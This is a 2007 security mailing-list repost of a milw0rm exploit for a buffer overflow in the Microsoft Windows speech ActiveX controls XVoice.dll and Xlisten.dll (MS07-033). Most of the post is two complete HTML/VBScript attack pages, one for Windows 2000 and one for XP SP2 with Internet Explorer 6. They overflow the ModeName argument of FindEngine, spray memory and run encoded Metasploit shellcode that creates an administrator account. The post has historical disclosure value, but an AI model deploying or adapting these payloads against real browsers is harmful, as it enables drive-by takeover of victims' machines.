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[EXPL] Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exp

Subject: [EXPL] Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit)
Date: 13 Jun 2007 10:42:37 +0200
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  Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

An exploitable buffer overflow in Microsoft Windows' DirectSpeechSynthesis 
and DirectSpeechRecognition allows attackers to cause the user to execute 
arbitrary code by overflowing the ModeName parameter of the ActiveX.

DETAILS

Exploits:
<!--
01/06/2007 23.19.50
Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll)
/ DirectSpeechRecognition Module (Xlisten.dll)
remote buffer overflow exploit / 2k sp4 seh version

both the dlls are located in %SystemRoot%\speech folder
and they are vulnerable to the same issue.
while on 2k it depends on activex settings, under xp they are both
set to "safe for a trusted caller", i.e. Internet Explorer

registers after that some chars are passed to ModeName argument
of FindEgine method and seh handler is overwritten:

EAX 00000000
ECX 00000000
EDX 02770608
EBX 6535F590 XVoice.6535F590
ESP 0012DBB8 UNICODE "AAAA...
EBP 00410041 IEXPLORE.00410041
ESI 001921BC
EDI 0012DBF8 UNICODE "AAAA...
EIP 00410041 IEXPLORE.00410041

I succesfully run this code on win2k, patching the shellcode
with the venetian technique, adding an Administrator account,
against IE6.
Under xp, with predefined settings, Internet Explorer immediately crashes
without warning the user first, and it's still possible running arbitrary
code, it depends on jumpable Unicode addresses loaded in memory

by A. Micalizzi (aka rgod)
site: retrogod.altervista.org

***note: this was indipendently discovered by me and Will Dormann during 
the
same period, documented here:

http://www.kb.cert.org/vuls/id/507433
http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx

the affected package,
http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp

is still distributed with the kill bit not set

-->

<html>
<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' 
id='DirectSS'></OBJECT>
<script language='vbscript'>

targetFile = "C:\WINNT\speech\XVoice.dll"
memberName = "FindEngine"
progid     = "ACTIVEVOICEPROJECTLib.DirectSS"
argCount   = 28

REM metasploit one, JmpCallAddtive, add a user 'su' with pass 'p'
scode_fragment = unescape("%6E%40%6e%40%6e%40%6e%40%6e%40%6e%40
%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%06%90%90%90
%90%90%90%90%fc%e4%22%eb%5e%31%ad%c3%c0%f7%e8%ff%ff%af%1a
%30%5f%bb%5a%bd%ee%a5%ae%d4%19%e3%9b%3a%05%b9%42%03%a7
%41%4c%11%a9%7c%ee%7f%77%8c%f3%90%e8%b4%ef%4c%d4%8c%d4%99
%e4%5d%08%1e%9a%82%17%b3%21%43%31%44%5a%1b%6d%f5%69%39
%d9%c4%38%50%43%af%44%cc%df%76%7a%57%a5%c2%85%7e%b7%f3%18
%d3%39%70%9f%16%94%aa%37%5f%c5%ea%0a%70%23%10%c0%83%47%37
%eb%97%6a%b3%6c%3c%6c")

nop1  = unescape("%01%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40")
c1    = unescape("%6E") : REM add byte ptr esi, ch (as nop)
c2    = 
unescape("%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%97%6E%40") : 
REM xchg eax, edi
c3    = unescape("%6E%40%6E%05%18%09") : REM add eax
c4    = unescape("%6E%40%6E%2d%11%09") : REM sub eax
c5    = unescape("%6E%80%90%6E%40%6E%40") : REM add byte ptr eax 90, inc 
eax twice

code  = nop1 & c1 & c2 & c3 & c4 & c5 & _
unescape("%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E
%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E
%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40
%6e%80%bb%6e%40%6e%40%6e%80%47%6e%40%6e%40%6e%80%1a
%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%56%6e%40%6e
%40%6e%80%1e%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80
%85%6e%40%6e%40%6e%80%75%6e%40%6e%40%6e%80%c3%6e%40
%6e%40%6e%80%ef%6e%40%6e%40%6e%80%ff%6e%40%6e%40%6e%80
%18%6e%40%6e%40%6e%80%66%6e%40%6e%40%6e%80%e0%6e%40
%6e%40%6e%80%ec%6e%40%6e%40%6e%80%dc%6e%40%6e%40%6e
%80%8e%6e%40%6e%40%6e%80%64%6e%40%6e%40%6e%80%81%6e
%40%6e%40%6e%80%db%6e%40%6e%40%6e%80%d6%6e%40%6e%40
%6e%80%c3%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%88
%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%60%6e%40%6e
%40%6e%80%9f%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80
%df%6e%40%6e%40%6e%80%2f%6e%40%6e%40%6e%80%15%6e%40
%6e%40%6e%80%2e%6e%40%6e%40%6e%80%41%6e%40%6e%40%6e
%80%0b%6e%40%6e%40%6e%80%b2%6e%40%6e%40%6e%80%1e%6e
%40%6e%40%6e%80%31%6e%40%6e%40%6e%80%c4%6e%40%6e%40
%6e%80%ad%6e%40%6e%40%6e%80%8f%6e%40%6e%40%6e%80%7a
%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%7d%6e%40%6e
%40%6e%80%65%6e%40%6e%40%6e%80%f6%6e%40%6e%40%6e%80
%92%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%60%6e%40
%6e%40%6e%80%54%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e
%80%d7%6e%40%6e%40%6e%80%49%6e%40%6e%40%6e%80%af%6e
%40%6e%40%6e%80%da%6e%40%6e%40%6e%80%5c%6e%40%6e%40
%6e%80%ac%6e%40%6e%40%6e%80%f1%6e%40%6e%40%6e%80%24
%6e%40%6e%40%6e%80%e2%6e%40%6e%40%6e%80%3f%6e%40%6e
%40%6e%80%44%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80
%2e%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%01%6e%40
%6e%40%6e%80%1b%6e%40%6e%40%6e%80%e8%6e%40%6e%40%6e
%80%58%6e%40%6e%40%6e%80%91%6e%40%6e%40%6e%80%36%6e
%40%6e%40%6e%80%be%6e%40%6e%40%6e%80%b5%6e%40%6e%40
%6e%80%a7%6e%40%6e%40%6e%80%b3%6e%40%6e%40%6e%80%80
%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%43%6e%40%6e
%40%6e%80%84%6e%40%6e%40%6e%80%e4%6e%40%6e%40%6e%80
%f8%6e%40%6e%40%6e%80%77%6e%40%6e%40%6e%80%96%6e%40
%6e%40%6e%80%03%6e%40%6e%40%6e%80%13%6e%40%6e%40%6e
%80%89%6e%40%6e%40%6e%80%fb%6e%40%6e%40%6e%80%24%6e
%40%6e%40%6e%80%8b%6e%40%6e%40%6e%80%e9%6e%40%6e%40
%6e%80%0f%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%ef
%6e%40%6e%40%6e%80%73%6e%40%6e%40%6e%80%cf%6e%40%6e
%40%6e%80%14%6e%40%6e%40%6e%80%6e%6e%40%6e%40%6e%80
%8c%6e%40%6e%40%6e%80%1f%6e%40%6e%40%6e%80%22%6e%40
%6e%40%6e%80%9e%6e%40%6e%40%6e%80%ae%6e%40%6e%40%6e
%80%4e%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%fc%6e
%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%72%6e%40%6e%40
%6e%80%38%6e%40%6e%40%6e%80%07%6e%40%6e%40%6e%80%17
%6e%40%6e%40%6e%80%83%6e%40%6e%40%6e%80%67%6e%40%6e
%40%6e%80%4b%6e%40%6e%40%6e%80%68%6e%40%6e%40")

seh_handler=unescape("%23%7d") : REM 0x007d0023 call edi, found with 
msfpescan
eax = unescape("%01%12") : REM fix eax register, we fall in a more 
convenient condition

suntzu = String(950, "A") + eax + seh_handler + code + scode_fragment

EngineID="default"
MfgName="default"
ProductName="default"
ModeID="default"
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style="default"
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1

DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, 
LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, 
EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, 
RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, 
RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures

</script>
</html>

# milw0rm.com [2007-06-13]

<!--
6.30 10/06/2007
Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll 4.0.4.2512)
/ DirectSpeechRecognition Module (Xlisten.dll 4.0.4.2512)
remote buffer overflow exploit/ xp sp2 version

both dlls are vulnerable, this is the poc for the first one
worked regardless of boot.ini settings, remotely and
by dragging the html file in the browser window
tested against IE 6

by A. Micalizzi (aka rgod )

this is dedicated to Sara, and greetings to shinnai, a good comrade

***note: this was indipendently discovered by me and Will Dormann during 
the
same period, documented here:

http://www.kb.cert.org/vuls/id/507433
http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx

the affected package,
http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp

is still distributed with the kill bit not set
-->

<html>
<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' 
id='DirectSS'></OBJECT>
<script language='vbscript'>

REM metasploit, add a user 'su' with pass 'tzu'
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49
%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58
%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30
%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30
%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68
%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31
%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30
%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d
%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65
%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c
%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b
%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70
%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b
%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58
%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b
%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78
%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73
%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53
%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64
%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50
%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70
%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63
%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51
%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61
%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f
%32%41%61%74%71%74%35%50%44") + NOP

eax= unescape("%ff%13")
ebp= unescape("%ff%13")
eip= unescape("%01%0a") : REM jmp to scode, UNICODE expanded
jnk= string(50,unescape("%13"))

suntzu = string(888,"A") + ebp + eip + eax + jnk

bufferI   = string(9999999,"X")
bufferII  = string(9999999,"Y")
bufferIII = string(9999999,"Z")
bufferIV  = string(9999999,"O")

EngineID= string(200000,"b")
MfgName="default"
ProductName="default"
ModeID= string(199544,unescape("%90")) + scode
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style=1
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1

DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, 
LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, 
EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, 
RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, 
RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures

</script>
</html>

# milw0rm.com [2007-06-13]


ADDITIONAL INFORMATION

The information has been provided by A. Micalizzi (aka rgod).
The original article can be found at:  
<http://www.milw0rm.com/exploits/4066> 
http://www.milw0rm.com/exploits/4066



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